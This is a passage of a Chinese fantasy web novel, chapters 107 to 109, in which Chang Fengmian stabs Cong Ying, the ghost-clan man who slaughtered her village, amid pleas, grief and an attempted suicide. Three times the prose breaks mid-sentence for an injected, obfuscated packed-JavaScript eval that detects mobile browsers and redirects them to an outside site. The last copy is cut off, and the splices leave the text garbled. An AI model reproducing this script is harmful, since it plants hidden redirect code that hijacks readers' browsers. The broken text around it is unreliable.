宗华看着从应身上被腐蚀过的伤口,眼眶倏地红了一圈,用清水打湿了帕子,小心翼翼地擦洗了起来,“哥,这究竟是怎么回事?你到底附身了多少长灵族人?把自己搞成了这副模样。” 从应摇了摇头,“不,我的伤同长灵族没有关系,都是些旧伤了。” 宗华想起二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839652|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在荆州的时日,试探地问道:“莫非是在萧家时?可是萧家并没有可疑之人,而且也无人能将哥哥伤成这样。” 从应回忆着当时的情况,“应当是那个侍女,我记得离开她的身体时,便觉得浑身疼痛,后续逐渐得出现这些腐蚀伤口,可惜……那个侍女已经失踪了,我再回去已经找不到她的人影了。” 宗华快速擦洗干净了从应身上的伤口,随后给他抖上了药粉,又用干净的纱布缠好,起身端着木盆走了出去。 “阿确,你回来了。” 宗华刚将污水倒掉,便看到了沈确正往破庙的方向走来,他放好木盆,快步迎了上去,见后者手中攥这个玉坠子,神情颓然。 宗华认得那只玉坠子,是沈确经常挂在太阿剑上的东西,但是现下玉坠子还在,太阿剑却不见了。 “阿确,发生何事了?你的剑呢?” 沈确一言不发地摇了摇头。 宗华看着沈确的垂眸郁郁寡欢的模样,心中一时没了主意,他手忙脚乱了片刻,最终也只是伸手拍了拍她的发顶。 沈确啜泣一声,随后伸手拥住了宗华,“宗华,我师兄……我师兄不见了……” 宗华惊得双手无处可放,只是呆呆地举在身体两侧,“商道长……那么大个人,好端端的,平白无故怎么会不见了呢?” 沈确闷声闷气地说:“总是我便是找不到他了,我能看得见他,但是那又不是他。” “怎么……怎么会这样呢?”宗华挠了挠头发,“他是被什么奇奇怪怪的东西附身了吗?所以才能看见又不是他?” 沈确支起腰身看着宗华,控诉道:“因为太初道尊在我师兄体内,他估计不会离开我师兄的身体,我的师门也不会同意他离开,也就是说他们在太初道尊和我师兄之间,选择了太初道尊。就因为他丰功伟绩,他空前绝后,我师兄便被放弃了。可是……我的师兄也是一个活生生的人啊,为何要由他们决定生死?在我心里,我师兄要比太初道尊重要得多!他都死了这么多年了,死前还活了那么多的年岁,我师兄才十八岁,凭什么啊?什么大局为重!都是骗人的!都是借口!” “啊?” 宗华神情震惊地看着沈确,他理顺着沈确方才说的话,“你说……太初道尊重新现世?不对,方才的意思是太初道尊附身到了商道长的身体里?” 沈确伸手推开宗华,泪眼婆娑地看着他,“你到底什么意思嘛?” 宗华磕磕绊绊地说:“我没什么意思,只是觉得有些震惊,毕竟太初道尊已经死了近四百年了,神魂居然未散,是不是眠眠的眼睛和我哥哥身上的伤也有办法?” 沈确怔怔地看着宗华,她早该想到所有人在太初道尊面前都是不被选择的,他太过于耀眼和尊贵,能寄托住所有人的心愿,而她的师兄只是一个直性子的小傻子,对于他们来说是无用的。 宗华问道:“所以你把太阿剑还给太初道尊了?” 沈确绕过宗华向破庙内走去,她踏入门槛后看了一眼衣衫散乱的从应,随后坐到了另一侧。 从应抬眸看了沈确一眼,不急不躁地将衣带随意系好。 宗华后知后觉地追了上去,他有些无措地看着沈确,俯身于她面前,“阿确,我……我不是……那个意思……我……你饿不饿?有没有想吃的东西,我去帮你买。”说完,他迅速起身,快步跑了出去。 从应看了一眼侧躺于干草上的沈确,“发生何事了?你们吵架了?” 沈确冷声道:“不用你管。” 从应扶着供台起身,缓慢地朝着沈确走了过去,随后在她的身侧坐定。 “你过来做何事?你都快成废人一个了,总不能还想着欺负我吧?”沈确抬手擦了擦脸,“你要是还看不惯我,最好把我杀了,这样我便能跟我师兄团聚了。” 从应蹙眉,他从怀中摸了颗糖扔在了沈确的怀中,有些不解地问道:“我何时欺负你了?” 沈确见从应一副气息不稳的模样,心中也有了几分底气,不再像从前那般怕他,只是抬眸盯着他说:“之前在万毒门还有荆州的时候,你不是说我不听话,你便要杀了我吗?” 从应笑了一声,随即神情狠厉地说:“吃糖!否则杀了你!” 沈确大惊,捏起衣服上的那颗糖,眼泪瞬间流了下来,“我不吃!你杀了我吧!” 从应见状叹了一息,他伸手擦拭着沈确脸上的眼泪,“你倒是有趣,该听话的时候不听话,不该听话的时候倒是听话。你方才在外面同宗华的谈话我都听到了,你师兄对你很重要吗?” 沈确推开从应的手,神情烦闷地说:“当然了!还用说嘛?从小到大都是师兄护着我,连我身上这块长生锁都是我师兄为我寻来的!” 从应垂眸看着沈确藏在衣襟中的红绳,伸手将那块长生锁勾了出来,不等他看清楚上面的安魂静心的符咒,便被沈确一把夺了回去。 “你做何事?” 107. 唯愿 从应看着沈确警惕的眼神,杏眼圆圆,纤长的睫毛上还挂着泪珠,看起来格外得惹人怜爱,在荆州之时的那股奇异感觉又重新冒出了头。 从应伸手勾去沈确脸上的泪珠,眉毛微微一挑,“你很害怕我吗?” 沈确摇了摇头,神情坚定地说:“不,我不怕你。” 从应勾唇笑了起来,“吃糖吧。” “你不杀我了吗?”沈确神情有些失落地看了从应一眼,随即蜷缩起了自己的身体,“我现下没有本命剑,你要杀我的话,简直轻而易举,我根本没有反抗的机会。” 从应说:“杀你做何事?你迫切地想要同你的师兄团聚吗?如果真的杀了你,宗华不会放过我的,而且我从未有过杀你的心思,不过只是口头上说说吓唬你而已。” 沈确反问道:“吓唬我?很有意思吗?” “确实。”从应笑了一声,“我见你的长生锁上刻得是一些安魂静心的法咒,做何用处的?” 沈确如实道:“我有离魂症,需要用这把长生锁来安魂,有什么问题吗?” “行了,别一副半死不活的模样了,我们去找段怀野,让他把身体还给你的师兄。”说完,从应伸手握住沈确的手臂,妄图将她从地上拉起来。 “你?” 沈确跟着从应地力道站起来,“你现下这副模样可以吗?” “武力不行可以讲道理。”从应低头咳嗽了几声,“若是他们不讲道理,我还有其他的法子。” 沈确蹙眉,“什么法子?” “到时候你便知晓了。”从应扯着沈确往外走去,“走啊,我不认得路,你前面带路。” 沈确不确信地问道:“你认真的?我们真的要去?” “对,认真的,真的要去。”从应神情认真地点了点头,“你相信我,我有办法让你师兄回来。” 沈确闻言,半信半疑地看着从应,最终在他的眼神之下妥协,“好,我给宗华留个信。” 【小屋】 姜芜探查了一番常奉眠的双眸,随即从纳袋中取了一只瓷瓶放在了她的手中,“眠眠,你记得按时吃。我教你一个法子,可以让你行动无碍。”说完,她伸手点上了常奉眠的眉心,将一道灵力传到了她识海之中。 “可以试试看。” 常奉眠握着手中的瓷瓶,直至上面沾染上了自己的体温,才小声开口道:“濯濯,我的眼睛是不是再也不能看见了?我不是故意要给你压力的,我只是想要一个答案,如果真的看不见了......” 姜芜安抚道:“别怕,我这里还有一颗血太岁可以一试,而且我们可以再找找别的法子,先不要这么消极。” “血太岁。”宿凌薇有所顾虑地看着姜芜,“是医死人肉白骨的血太岁吗?这东西难寻,想要遇到可要看造化了。” 姜芜应了一声,“在塔塔女王的栖身地得到的,谁都不曾想到,用于建造苍旻真身的木头,经过几百年阴气的滋养居然能长出血太岁来。” 阿若站在姜芜身后不远处的位置,试探地开口问道:“你方才所说的苍旻是谁?墓中的那条银龙吗?” 宿凌薇仔细地端详起阿若来,妄图从她的身上找到一点关于苍旻的影子,“你母亲是塔塔女王吗?就是那个统一了草原的塔塔女王?” 阿若点了点头。 宿凌薇追问道:“那你的父亲呢?你的父亲又是谁?” 姜芜默不作声地煮茶,将所有人的茶杯中添满茶水。 阿若蹙着双眸沉思了片刻,随后才道:“我不知道,我没有见过他,但是哥哥说父亲是草原上最勇猛的武士,他在母亲所有的爱慕者中独得青睐,但是却因为一场水源争夺之战中中箭不治身亡。母亲独自支撑着整个部落,带领着部落中的人收复被掠夺的领地,逐渐统一了草原上所有的部落。” 宿凌薇想起前日那些想钻入她裙中的黑色人影以及那个抱着孩子的女人,“你们草原上真的很奇怪,为何还会诞生出那么多的怪物?” 姜芜出声解释道:“在塔塔女王统一草原之前,各部落纷争不多,今日两个部落联盟抢夺另外一个部落的女人与资源,斩杀长过马鞭的男人,可能是屠杀也可能是活埋,明日这两个部落便有可能生出间隙,或许是因为分赃不均,亦或者是因为别的,所以他们便会开始新一轮的争斗。死亡的人多不胜数,冤魂难散,便成了现下的模样。至于那些,根据尸母的说法是因为塔塔女王统一草原之后,下令将军妓全部杀死并投入湖底所以才造就了人面鬼的诞生。” 阿若抿了抿双唇,“这些便是我不知晓的了,你们还没有告诉我苍旻是谁呢。” 寂满快步进入了草亭中,他坐在常奉眠身侧,端起一杯茶水一饮而尽,面色阴沉地说:“苍旻是谁?!苍旻是我父亲,你呢?你是谁?” 阿若神情懵懂地寂满,“我是阿若,是塔塔女王的女儿。” 寂满盯着阿若,神情不悦地问道:“你父亲呢?你父亲是谁?” 阿若有些不理解寂满突如其来的敌意,她的神情有些无措,只能继续解释道:“我没见过我的父亲,我只听我哥哥说过......” 寂满直接打断了阿若的话,“不对,你见过得那条银龙,就是你的父亲,也就是说苍旻是你的父亲,父亲背弃了他对我母亲的誓言,居然还同其他人......” 宿凌薇闻言拍了拍桌子,扬声道:“小蛟龙,你这话不妥吧,你也知晓是你父亲背弃了誓言,塔塔女王和她的女儿是无辜的,她甚至不知晓苍旻是有家室的人,甚至是有十个老婆。你想为你母亲打抱不平,是不是应该去寻你那个负心汉父亲,而不是在这里对一个什么都不懂的小姑娘出气。” 寂满面色一白,顿时觉得喉头发紧,脸上麻一阵热一阵,他不是没有想过去质问自己的父亲,但是他觉得这种事情就是一块遮羞布,只要这块布还在,他便还有一个完整的家,但是把这块粉饰太平的布拿掉,他便只能看到一个滥情的父亲和委屈的母亲。 寂满不想看到这么一幕,但又觉得这始终是一根刺,在他心中反复戳弄着,让他烦闷让他憋屈,所以他便将矛头对准了可能毫不知情的塔塔女王和阿若。 姜芜取了水勺给寂满重新倒满了茶水,“消消气,我知晓你想为你母亲打抱不平。” 寂满闭了闭双眸,随即起身快步朝外走去。 “寂满!” 常奉眠迅速起身,她方才也只是听了只言片语,但也知晓事情的严重程度,她能感觉到寂满纠结愁苦的心绪,怕他一时想不开,于是便追了上去。 阿若看着常奉眠磕磕绊绊地跟着寂满离开,急忙朝着姜芜求证道:“他方才说的都是真的?那他便是我的哥哥,那为我梳头的女子......” 宿凌薇反驳道:“不关你的事,都是苍旻的情债,仗着自己是妖王,豪横的了不得,只是妻子便有十个,在妖界可真是独一份的,我们修罗一族即便是决定短时间内在一起,也是一心一意的。” 姜芜说:“苍旻同青鳞的感情也确实不错,也难得是苍旻自己选的一位妻子。” 宿凌薇愤愤地说:“反正做王的都讨厌,无论是人王还是妖王,亦或者是修罗王。” 姜芜笑着摇了摇头,端起茶杯轻抿了一口其中的热茶。 【小屋厨房】 青鳞挽了袖子和面,混着豆面将面团擀成薄薄的面饼,层层叠起之后便用菜刀切成细细的面条。 雾沅则是在一旁帮忙烧水备菜,“夫人,你喊我过来不单单只是为了帮您打下手吧?” 青鳞唇角带着笑意,“其实我有个难言之隐,想让你带着寂满离开,越远越好,他不愿意化龙,便让他想做何事便做何事吧。” 雾沅一愣,他想起自己在玃如处看到的未来,心中一阵一阵地发慌,“您问过寂满了吗?他告诉您他不想化龙的?我看他跃天门的时候很努力。” 青鳞抖开切好的面条,放在一旁的盖帘上,“那是从前,他当时只是不想让尊上失望所以才那般努力,现下他得知了阿若的存在,心中未必再想着赢得尊上的刮目相看。” “阿若一事有蹊跷,夫人为何不相信尊上,他许了您一生一世,而且自从迎娶您过门之后,他便很少去过其他夫人处,去也只是安抚她们母族的势力,塔塔女王一事或许只是个意外,您为何不去问问尊上呢?”雾沅说,“再者三妖从大荒逃出,现下不知藏身于何处,尊上又被封印于昆仑山,若是寂满可以成龙,便可震慑三妖,这对大荒对人间都是有好处的……” 雾沅越说越觉得心底发慌。 青鳞长舒了一口气,擀面饼的手一顿,她垂眸看向雾沅,“雾沅,你身为蝶妖,灵智难开,但是你却异常聪慧,即便如此,你也没有看出来吗?” 雾沅想起与玃如狌狌的会面,一时哑口无言,耳边只有青鳞擀面饼切面条的声音。 “夫人......您欲如何?能同我说说吗?” 青鳞答非所问道:“雾沅,你见过玃如了吗?你看过他预见到的未来吗?” 雾沅大惊,“莫非夫人您也?” 青鳞摇了摇头,神情淡然,“我没有看过,但是我只是知晓的事情比你们要多得多,阿满是我唯一的孩儿,我不想见他落得如此下场。我没有办法阻止尊上的决定,但是我也不能让阿满涉险。你便当作是我自私吧,我想让阿满离开此地,无忧无虑地过完一生,无论他有没有大成就,只要他开心快乐便好,他昨晚同我讲他有了牵挂之人,我真的好开心。” 雾沅看着青鳞平静如水的神情,心中大恸,不禁感慨于舐犊情深之刻,“夫人,您预备何时?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848446|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青鳞笑着说:“让我再多看阿满几眼吧,看够了,我便走。今日的谈话,你权当不知晓,别让阿满怨恨你隐瞒他。” 【小屋外树林】 常奉眠听着声音跟随着寂满跌跌撞撞地走出了小屋,“寂满,你慢一些走,我要跟不上你了。” “眠眠,你出来做何事?快回去。”寂满停下脚步,折返几步握住了常奉眠的手,“我只是心里堵得慌,等我想通了便回去了。” “没关系,这里又不危险。”常奉眠说,“你想到哪里散心?或者你想同我说说话吗?毕竟我心情不好的时候,你也安慰了我好久。” “我......” 寂满说:“我不知道该说什么,我现下心里很乱,我不知道为何会发生这样的事情,虽然……但是……” 常奉眠握紧了寂满的手,笑着说:“那便四处走走吧。” 寂满落下常奉眠四处走着,头脑逐渐清醒,又怕自己方才的举动和埋怨人的话语会给常奉眠留下不好的印象,他急忙解释道:“方才我真的是昏了头,我……我觉得我母亲很委屈,我平时不是这样的,你别觉得我是个不分黑白的人。” “我知道,谁都会有个情绪上头的时候,我知道你想为你母亲打抱不平,又不想把错误都归结于你父亲身上。”常奉眠说,“但是宿凌薇说的一点错处都没有,即便是如此,你也不应该怪到塔塔女王和她的女儿身上。” 寂满长长地叹了一息,他拍了拍自己的额头,嘀嘀咕咕地说:“要是我父亲能收收心便好了,他可是娶了整整十个老婆。” 常奉眠沉吟了一声,“听起来确实很多,你以后也会娶那么多吗?” 寂满闻言慌忙摇了摇头,随即笑着对常奉眠说:“不会的不会的,我娶一个便好,娶一个我喜欢的,一生一世都对她好,无论生命长短,只要我活着,我都会对她好。” 常奉眠看不见寂满此时的表情,但是听他的声音也觉得格外的欢快,她忍住不咬了咬嘴唇,回想起当日被灭族的村庄,心中五味杂陈。 在常奉眠的心中,寂满是个很好很不错的妖,同她非亲非故却愿意照顾她,安慰每一个她被噩梦惊醒深夜,虽然有一些见色起意在其中,但是寂满身为一个不懂人情世故的小蛟,居然也知晓发乎情止乎礼。 “若是你喜欢的人不喜欢你呢?” 寂满心中一颤,神情悲伤地看着常奉眠,“我喜欢的人不喜欢我啊,那我便没有办法了。希望她看在我这么可怜的份上,能多少回应回应我,喜欢喜欢我,好不好?” 常奉眠忍俊不禁,伸手便要去打寂满,“胡说,你哪里可怜了,你有父亲母亲,还有那么多爱你的兄长……” 寂满笑嘻嘻地看着常奉眠,见她突然止住了话头便知晓她又想起了伤心事,他寂满拉着后者的双手揉搓了片刻。 “你若是愿意的话,我的母亲也可以是你的母亲,她很好的,一定也会视你如己出。无论你是否会对我动心,也无论我们是否有结果,都无所谓的,她会待你好的,她是全天下最好的母亲。” 常奉眠笑了起来,她回握着寂满的手,“寂满,你真的是一只很好的妖。” 寂满也跟着笑了起来,接着他面色一凝,突然感觉到一股逼人的鬼气袭来,他迅速将常奉眠拦在身后,面色不善地看着越走越近的沈确,以及跟在她身后的从应。 “是你?你来做何事?” 沈确看了一眼寂满身后的常奉眠,随后开口道:“我来找太初道尊。” 常奉眠抓着寂满的衣袖,轻声问道:“是谁啊?” 寂满的双眸死死地盯着沈确身后的从应,沉声道:“眠眠别怕,是沈确。” 常奉眠点了点头,她握着寂满的手臂,掌下结实的肌肉依旧非常紧绷,仿佛有危险徘徊于附近,但来者又是沈确,她不知晓危险来自于何处。 “眠眠,我们回去吧。马上要晌午了,我母亲大抵已经做好饭了。”寂满伸手拉住常奉眠,眼神依旧不善地盯着从应,“她说她做了手擀面,还有很多其他的吃食,说是要招待我们。” 沈确闻言回头看了寂满一眼,随即立刻扭头向小屋走去。 姜芜放下手中的茶杯,抬眸向院门的方向看去,“有客人来了,薇薇你先帮忙招待一下,我去喊段怀野。” 宿凌薇不解地看向姜芜,“段怀野的客人?” 姜芜脚步一顿,若有所思地说:“应该吧,或者是说眠眠的客人。” 宿凌薇还有些诧异姜芜口中所说的常奉眠的客人,但是见到从应后她立刻起身,惊诧于后者身上的森森鬼气。 宿凌薇看了一眼沈确,她虽然不认得从应,但是她知晓常奉眠所遭受的一切,加上姜芜方才所言,这大抵便是那位罪魁祸首。 “你是谁?” 108. 长河 姜芜伸手推开房门,见段怀野侧卧于床榻之上,身上搭着一块被角,“你当真在睡觉?” 段怀野的声音中睡意浓浓,“不然呢?融合也是很耗费精力的。你那些朋友又吵得不行,整天因为一些小事在我耳边叽叽喳喳的,我根本没精力去融合身体。” 姜芜神情悠然地靠在门框上,“你的冤家找上门了,平白无故占了别人师兄的身体,还说不出个所以然来,人家带帮手上门找你要说法了,还不起床收拾你的烂摊子?” “我的烂摊子吗?”段怀野抻了个懒腰,他翻身看着姜芜,手掌窝拳撑在两侧,“我若是告诉他们商扶庭死亡的原因是因为睢羲把太初剑折了,你觉得这样可以吗?” 姜芜面上的神情一僵,她缓缓地站直了身体,神情凝重地看着段怀野,“但是我已将太初剑修复,而且我还托寂满去寻了苍旻的龙鳞,按理来说他不会死才是。” 段怀野起身整了整衣裳,“姜芜,只要提起睢羲,你便是一副心事重重的模样,何苦呢?你为他做的已经够多了,该及时止损了,何必让自己如此痛苦?” 姜芜面无表情地看着走近的段怀野,“等你先将答应我的事情完成,我会考虑你的这个提议。” “嗯?” 段怀野有些诧异地看着姜芜,随即无奈地笑了一声,“你啊,跟我说笑呢,我还不了解你吗?你真会考虑?” “所以呢,你这么了解我,还一直重复提起此事做何用?”姜芜挑眉,“你明知道我是不会离开他的,痛苦也好,欢愉也罢,我都不会离开他。” 段怀野垂眸看着姜芜,笑着说:“即便是他没有我了解你吗?你那些拙劣的做法,让他远离你的方式便是不断地伤害他,却没有勇气真正说一句结束,以至于他一而再再而三的涉险,就是想要你一个结果。姜芜啊,你自诩聪明,却让睢羲的伤势不断加重,你到底是要救他还是想彻底断了他的生路?可笑得是他居然都信以为真,真以为你要同他一刀两断,连同外面的那些人都被你拙劣的演技给骗了,你们这又是何苦呢?怕只怕作茧自缚,得不偿失啊。” “先管好你自己吧,我们的事情不需要你多言。”姜芜勾起唇角,她伸手抚上自己的心口,“说这么多,还不是想让你自己有个机会?五彩之石,谁都想要,你估计也不例外吧?” 段怀野垂下眼眸盯住了姜芜的指尖,不以为然地说:“五彩之石,可以存在于世,只是不能让一个所拥有。这也是当初你的母亲不同意你与睢羲的原因,她甚至不允许你诞下后代,只怕你会生出不可控的怪物。” 姜芜嗤笑一声,“我是一个独立的存在,不依附于任何人,谁都不能控制我,也不能将我占为己有,我是自由,至于如何选择,我有权决定一切。” 段怀野脸上的笑意更深,“生命如长河,总有源头和入海的时候,强求不得,时间到了,便让他走吧。” “我偏不。”姜芜笑着说,“我只想要他,若是你们不给,我便毁了一切。而且这么多年,我的耐心已经有些告罄了,你可以试试。” 段怀野愣了一下,随即神情无奈地笑了一声。 【小院】 沈确正欲说话,从应却上前按住了她的肩膀,止住了她的话。 “我来找太初道尊段怀野。” 常奉眠听到从应的声音周身一震,随即难以抑制地颤抖了起来,她握紧了寂满的手,“寂……寂满,那人……那人是谁啊?” 寂满并没有察觉到常奉眠的异常,随口道:“一个来找段怀野的人而已,还是沈确带来。” 常奉眠闷闷地应了一声,随即跟着寂满向院中走去,她不动声色地按照姜芜给的方法使用真元,感受到了从应所站之处,随即悄无声息地摸上了腰间的匕首。 常奉眠握着寂满的手,不动声色地随着后者的脚步靠进从应,心中却突然怨恨起他的不坦诚,分明灭族仇人便在面前,寂满却对她有所隐瞒,若非知晓二者并非一路人,她险些便以为寂满一直都在欺骗于她。 “眠眠,你肚子饿不饿?” 常奉眠一边靠近从应,一边敷衍地应着寂满的话,在与从应错身而过的时候,她迅速出手将匕首没入了其后心处。 “怎么?你的警惕变得这么低了吗?”常奉眠甩开寂满的手,两只手将手中的匕首压得深,“你怎么敢再出现在我面前的,我没日没夜地都在想着如何将你千刀万剐!你怎么敢的?!” 沈确大惊,正准备上前阻止常奉眠,却被寂满施法困在了原地。 寂满震惊地看着眼前的一切,低声威胁道:“不准动!” 从应身体大不如从前,根本来不及反应,顷刻之间便被常奉眠得手,不等他回头看一眼身后之人便体力不支扑倒在地,大口大口地呕着鲜血。 阿若惊呼了一声,将厨房中的青鳞和雾沅引了出来,二人皆是神情震惊地看着面前的一幕。 沈确见状,急促地呼唤道:“从应,你怎么样?从应?!” 雾沅看着被常奉眠死死控住的人,想起那日常胜部落的惨状,难以置信地说:“从应,你怎么会出现在此地?” 姜芜闻声同段怀野快步走了出来。 常奉眠感受到姜芜的气息,立刻扬声哭喊道:“濯濯,我终于为我的族人报仇了,我杀了这个鬼族人,我为我父亲报仇了。这个贼人终于落到我手上了,我即便是死,也能同他们有个交代了。” 从应抬手蓄力,翻身将常奉眠挥了出去。 寂满立刻上前接住常奉眠,关切地问道:“眠眠,你没事吧?” 从应捂着心口的贯穿伤站了起来,抬手施法将后背的匕首拔出来握在手中,他看着匕首上沾染了自己的鲜血,突然笑了起来,“敢问哪位是太初道尊段怀野?” 沈确神情复杂地看着从应,出声道:“你挑衅他,你疯了?还愣着做什么?伤得这么重,还不赶紧跑?没看到姜芜在这里吗?他们会联手杀了你的。” 从应无力地一笑,他挥手施法击碎沈确身上的束缚,“姜芜在这里,难道你不是故意引我过来的吗?正道弟子,阿确,段怀野真的占了你师兄的身体吗?事已至此,你骗我,我不怨你,我本就背负了常胜一族如此多的人命,你们要我偿命,我没有意见,可是谁来为我的母亲偿命?” 沈确神情激动地摇着头,急于辩驳,“不不不,我没有,我没有,我不知道事情会变得如此,我没有骗你,是我想得太简单了,无意害你至此。” “哥!” 宗华快步从远处跑来,上前抱住了从应摇摇欲坠的身体,他看着那些不断流出从应体内的鲜血,伸手按了上去,将那伤口堵住,“哥,怎么了?发生什么事情了?” 从应体力不支地坐在地上,他轻轻地摇了摇头,“没事,别怕。” 宗华又惊又惧地看着周围的人,最后将目光落到了常奉眠的脸上,倏地红了眼眶,他抱紧了从应,泣声道:“都是我们欠她的,都是我们欠她的。你们要替常奉眠报仇,拿我的命去好了,求求你们,救救我哥哥,我愿意一命抵一命。” 从应摇了摇头,有气无力地说:“我们不欠他们的,反倒是在屠杀了他们全村之后,便已经扯平了,不欠他们,不欠他们。倒是他们欠你的,让你小小年纪便失去了母亲。” 常奉眠闻言推开寂满,上前几步道:“胡说,我们欠你什么?我们全村又欠你什么?他年纪小,失去母亲是可怜,我失去父亲便是活该吗?我的母亲也在我年纪很小的时候便去世了,是父亲拉扯我长大。你这个丧心病狂的家伙,肯定什么都不懂,毕竟你连同在襁褓中的孩子都不放过,我们长灵女子世代会因生育而生命衰竭,幸得圣人赐福,才不会遭受生死离别之苦,不过才几百年的时间,是你这个双手占满鲜血的恶魔,是你!!!剥夺了所有的一切。” 沈确见状立刻上前掐诀替从应疗伤,却见后者身体一震,更多的血液从他的口中涌了出来。 姜芜及时道:“灵气至真至纯,他浑身鬼气傍身,受不了这么纯粹的真元,你给他疗伤只是适得其反。” 宗华闻言看向了姜芜,大喊道:“神仙姐姐,我于奉眠同为长灵血脉,只要你救救我哥哥,我可以把自己的眼睛剜给奉眠,让她重见光明,我只求你能救救我喝哥。” 宿凌薇闻言看向了姜芜,心绪复杂,莫名其妙地害怕姜芜真的会答应宗华的条件,将唯一一颗血太岁交给罪该万死之人。 从应瞪了宗华一眼,并伸手将他推开,斥道:“胡闹!眼睛是随便可以给别人的吗?你以后看不见了要怎么办?我们从没有对不住他们,你知晓母亲是怎样死的吗?你知不知晓母亲其实是死于常胜之手。”说完,他便忍不住地呛咳了起来,鲜血瞬间喷涌了出来,粘满了他的前襟。 “我死了也好,我死了也罢……我死了便能够与母亲团聚了……我已经想她很久了。” 常奉眠立刻道:“你胡说!我父亲怎么可能会杀死自己的亲妹妹。” 宗华见状立刻拜托沈确照顾从应,他膝行着上前,不住地给姜芜磕头,“神仙姐姐,求求你,我求求你,我真的可以把眼睛给奉眠,求求你救救我哥哥吧,求求你救救他吧,我现下便可以将眼珠挖给你,我不会食言的。”说完,他便抬手去扣自己的眼珠,眼泪和鲜血一同划落于他的脸庞。 常奉眠厉声道:“谁要你的眼睛!我宁愿一辈子都看不见,我也不想同灭我全族的人牵扯上一点干系,你的眼睛让我恶心,就算换上你的眼睛,我也会剜出来踩爆!” 姜芜眉心微拢,不等她开口说话便听到段怀野率先开了口。 “你们逼迫她没有任何用处,不如想想如何救那个鬼族人吧,我看他好像是快不行了,应当是之前便受了很严重的伤吧,治起来估计很麻烦。” 宿凌薇快步上前,她按住了姜芜的手腕,低声道:“你要救那个鬼族人吗?我之前便想说了,濯濯,你把血太岁留给睢羲吧,他比任何人都需要,即便是你与他不复从前,但好歹这么多年的情谊,你救救睢羲吧。” 姜芜摇了摇头,她并没有对宿凌薇说血太岁对睢羲无用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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段怀野大步走到了姜芜身侧,他垂眸观察了片刻,“姜芜,你答应我一件事,我便救他如何?” 姜芜蹙眉,“他的死活与我有何干系,你愿意救便救,不愿意救也不要拿我当噱头。” 段怀野笑着说:“因为你不可能见死不救的,当年什么阿猫阿狗小鸟蝴蝶的都救,但是那边又不愿意你救,所以我出手是再好不过的了。” 雾沅闻言一愣,倏地抬眸看向了姜芜,神情复杂又不解。 姜芜轻笑了一声,“你想得太多太复杂了,他灭了常胜部落,今日也算是自己送上门来,省得我再去寻他,所有的事情一码归一码,而且我怎么可能会救所有人?” 常奉眠讶然,她捏紧了手中的衣角,“你们若是救他一次,我便杀他一次,救他两次,我便杀他两次!我与他不共戴天!!!” 宗华哭着说:“眠眠,眠眠,奉眠,常姑娘,求求你,你来杀我吧,我愿意替我哥哥去死。杀了我,你还能取走我的眼睛,你还能重见光明,求求你,不要杀我哥哥啊。” 常奉眠失魂落魄地说:“你们真的很会逼迫人,现下是不是要同我讲,死去的人已经死了,做再多都无济于事,即便是杀了仇人,死去的人也不会再回来了,只会让自己徒增杀孽,为何无人劝他当初不要那般做,不要欠下着血债?!为何无人劝他,你们的母亲已经死了,为何还要再搭上我父亲同族人的命?” 宗华闻言一愣,停止了不住地对常奉眠磕头,难发一言。 姜芜蹙眉,“眠眠,你怎么会这么想,没人要求你这么做。” 常奉眠说:“既然如此,我活着不能为族人报仇,我活着还有什么意义,不如死了算了。” 寂满见常奉眠欲自戕,立刻扑上前将她抱在了怀中,惊恐地说:“眠眠,别这样,真的,不要这样,你说过的,等你眼睛好了,我们去看遍万水千山的,你还没有看过我的原型,你怎么可以这样?你不要这样。” 常奉眠被寂满扼制着双手难以动作,只能默默地流着眼泪,声音委屈,“寂满,你骗我,你看得见,你明明知晓那人便是我的灭族仇人,你却不告诉我,甚至不为所动!寂满,你个骗子,大骗子!” 寂满一愣,随即朝着姜芜大喊,“姜芜,求求你,想想办法吧。” 阿若看着院子中的人,忍不住红了眼眶,低头擦起了眼泪,这种事情只能说一步错,步步错,以至于现下走到了无法挽回的地步。 “不必救我,就让我这样死了吧,给那姑娘赔罪,虽然我没有做错什么。”从应抬眸看向沈确,“小阿确,我从未想过要杀你,不要怕我了,好不好?初见只是觉得你这姑娘可爱,想要逗逗你而已,不过我似乎大错特错了。” 常奉眠听着从应的话,神情痛苦地笑了起来,“杀了一百多人不觉得错,反而觉得自己求爱的方式错了,真是……让人无话可说……” 宗华一愣,神情悲伤又复杂地看着从应,他无声地叹了一息,低头抹了抹自己脸上的眼泪。 段怀野见状,凝结起一道剑气,抬手打向了常奉眠的眉心。 寂满察觉到怀中身体一软,神情一愣,立刻质问道:“你做什么?” 段怀野说:“太吵了,让我清净会。” 109. 拯救 “孩子,你醒了?”青鳞见从应睁开了双眸,“感觉如何,伤口还疼不疼?” 从应闻言掀开身上的被子,坐起了身,他神情迷茫地看着四周,因为身体虚弱,目所能及之处都蒙着一层淡淡的薄光。 从应体力不支重新摔回了床上。 青鳞见状急忙按住了从应的肩膀,并端来一杯温水,放了根芦苇凑到他唇边,“你伤还没好,不要着急,先喝些水。” 从应闻言偏头喝水,一口气喝完了茶杯中所有的水。 